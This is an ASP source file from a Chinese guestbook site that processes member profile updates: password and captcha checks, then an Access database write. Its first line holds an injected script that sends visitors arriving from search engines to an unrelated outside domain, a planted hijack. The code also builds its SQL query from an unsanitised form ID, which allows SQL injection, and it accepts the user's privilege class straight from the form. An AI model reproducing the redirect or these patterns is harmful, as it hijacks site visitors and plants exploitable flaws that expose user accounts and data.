d:\wwwroot\wuchunhua\liuyan\updatemember.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%
002: '检查密码格式是否正确
003: Function CheckPass(upass)
004:    CheckPass = TRUE
005:    Dim count
006:    Dim sstr(15)
007:    Dim lupass
008:    Dim AscValue
009:    lupass = LCase(upass)
010:
011:    '提取每一个字符,存储到数组中
012:    count = Len(lupass)
013:    For i=1 To count
014:    sstr(i) = Mid(lupass,i,1)
015:    Next
016:   
017:    '依次检验每个字符,必须为字母或者数字
018:    For i=1 To count
019:    AscValue = Asc(sstr(i))
020:    if (AscValue < 97 OR AscValue > 122) AND (AscValue < 48 OR AscValue > 57) Then
021:    CheckPass = FALSE
022:    Exit For
023:    End If
024:    Next
025:   
026: End Function
027: %
>
028: <%
029:    '检查用户是否登陆
030:    If Session("IsPassed") <> TRUE Then
031:       Response.Redirect "login.asp?ErrMsg=请先登陆"
032:        Response.End
033:    End If
034:   
035:    '检查用户是否有足够权限进行资料修改
036:    If Session("UpdatePermitted") <> TRUE Then
037:       Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=请先修改信息"
038:        Response.End
039:    End If
040:
041:    '获取表单数据
042:    Dim UserId, Password, Password2, RealName, Email, Url, Comment, UpdataCode, UserClass
043:    UserId  = Request.Form("id")
044:    Password  = Request.Form("passwd")
045:    Password2  = Request.Form("passwd2")
046:    UpdateCode  = Request.Form("UpdateCode")
047:    RealName  = Request.Form("realname")
048:    Email  = Request.Form("Email")
049:    UserClass  = Request.Form("Authority")
050:    Comment  = Request.Form("Comment")
051:    Url = Request.Form("Url")
052:
053:    '密码字段不为空,表示要修改密码,则对密码格式进行检验
054:    If Password <> EMPTY Then
055:       '密码不可以超过 15 个字符
056:       If Len(Password) > 15 Then
057:          Session("UpdatePermitted") = False
058:          Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=用户密码不可以超过 15 个字符"
059:          Response.End
060:       End If
061:
062:       '密码格式必须正确
063:       If NOT(CheckPass(Password)) Then
064:          Session("UpdatePermitted") = False
065:          Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=用户密码应该由英文字母或数字组成"
066:          Response.End
067:       End If
068:
069:       '两次密码输入必须一致
070:       If Password <> Password2 Then
071:          Session("UpdatePermitted") = False
072:          Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=“密码确认”字段与“用户密码”字段一定要相同"
073:          Response.End
074:       End If
075:    End If
076:   
077:    '检查验证码是否为空
078:    If UpdateCode = EMPTY Then
079:       Session("UpdatePermitted") = False
080:       Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=请填写验证码"
081:       Response.End
082:    End If
083:
084:    '检查验证码是否正确
085:    If UpdateCode <> Session("UpdateCode") Then
086:       Session("UpdatePermitted") = False
087:       Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=请填写正确的验证码"
088:       Response.End
089:    End If
090:   
091:    'Email字段不为空,表示要修改Email,则对Email格式进行检验
092:    If Email <> EMPTY Then
093:       '必须输入格式正确的EMail地址
094:       If InStr(Email,"@") = 0 Then
095:          Session("UpdatePermitted") = False
096:          Response.Redirect "modify.asp?id=" & Session("Id") & "&ErrMsg=请输入正确的E-mail地址"
097:          Response.End
098:       End If
099:    End If
100:
101:    '建立数据库连接
102:    Dim objConn,objRS,strSQL
103:   
104:    '初始化数据库连接
105:    DB="./Board/database/BOARD.mdb"
106:    Set objConn = Server.CreateObject("ADODB.Connection")                          
107:    objConn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(DB)
108:    '打开数据库连接
109:    objConn.Open
110:
111:    'SQL语句
112:    strSQL = "SELECT * FROM MEMBER Where ID=" & UserId
113:   
114:    '打开数据集
115:    Set objRS = Server.CreateObject("ADODB.Recordset")
116:    objRS.Open strSQL, objConn, 1, 3, 1
117:
118:    '确定要修改的各个字段的值
119:    If Password = "" Then
120:       Password = objRS.Fields("PASSWORD")
121:    End If
122:
123:    If RealName = "" Then
124:       RealName = objRS.Fields("REALNAME")
125:    End If
126:
127:    If Email = "" Then
128:       Email = objRS.Fields("EMAIL")
129:    End If
130:
131:    If Url = "" Then
132:       Url = objRS.Fields("Url")
133:    End If
134:
135:    If Comment = "" Then
136:       Comment = objRS.Fields("COMMENT")
137:    End If
138:
139:    If UserClass = "" Then
140:       UserClass = objRS.Fields("CLASS")
141:    End If
142:
143:    '更新数据的操作
144:    objRS.Update Array("PASSWORD", "REALNAME", "EMAIL", "URL", "COMMENT", "CLASS"), _
145:              Array(Password, RealName, Email, Url, Comment, UserClass)
146:
147:    '关闭数据库连接并释放对象
148:    objRS.Close        
149:    Set objRS = Nothing
150:    objConn.Close        
151:    Set objConn = Nothing
152:
153:    '修改操作结束,将Session中修改允许的标记设为FALSE
154:    Session("UpdatePermitted") = False
155:   
156:    '转向系统主界面
157:    Response.Redirect "index.asp"
158:    Response.End
159: %
>
160:
161: